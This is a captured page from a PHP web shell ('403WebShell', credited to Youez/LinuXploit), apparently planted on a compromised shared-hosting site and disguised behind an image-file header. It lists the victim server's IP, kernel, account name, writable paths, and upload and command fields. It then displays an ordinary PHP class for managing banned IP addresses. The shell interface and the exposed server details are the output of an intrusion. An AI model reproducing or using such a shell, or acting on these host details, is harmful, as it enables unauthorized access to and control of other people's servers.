����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.148.168
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/app/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/app/helpers/BannedIpHelper.class.php
<?php

namespace App\Helpers;

use App\Models\BannedIp;
use App\Helpers\CoreHelper;
use App\Helpers\LogHelper;

class BannedIpHelper
{

    static function getBannedIPData($userIP = null) {
        // if we don't have a userIP into the function, use the current users
        // IP address
        if ($userIP === null) {
            $userIP = CoreHelper::getUsersIPAddress();
        }

        // load banned IP entry based on current users IP address
        $bannedIp = BannedIp::loadOne('ipAddress', $userIP);
        if (!$bannedIp) {
            return false;
        }

        return $bannedIp;
    }

    static function getBannedType() {
        // load banned IP entry based on current users IP address
        $bannedIp = self::getBannedIPData(CoreHelper::getUsersIPAddress());
        if (!$bannedIp) {
            return false;
        }

        return $bannedIp->banType;
    }

    static function clearExpiredBannedIps() {
        // load all expired, limit to 100 each time to avoid memory issues
        $expiredBannedIps = BannedIp::loadByClause('banExpiry IS NOT NULL AND banExpiry < NOW()', array(), null, 100);
        if ($expiredBannedIps) {
            // set to different log file
            LogHelper::setContext('banned_ips');

            // loop the expired bans and remove
            foreach ($expiredBannedIps AS $expiredBannedIp) {
                // log the removal
                LogHelper::info('Expired banned ip: ' . $expiredBannedIp->ipAddress . '. Date Banned: ' . CoreHelper::formatDate($expiredBannedIp->dateBanned) . '. Type: ' . $expiredBannedIp->banType . '. Notes: ' . (strlen($expiredBannedIp->banNotes) ? $expiredBannedIp->banNotes : '-') . '. Expiry: ' . CoreHelper::formatDate($expiredBannedIp->banExpiry));

                // remove
                $expiredBannedIp->delete();
            }

            // revert logging
            LogHelper::revertContext();
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit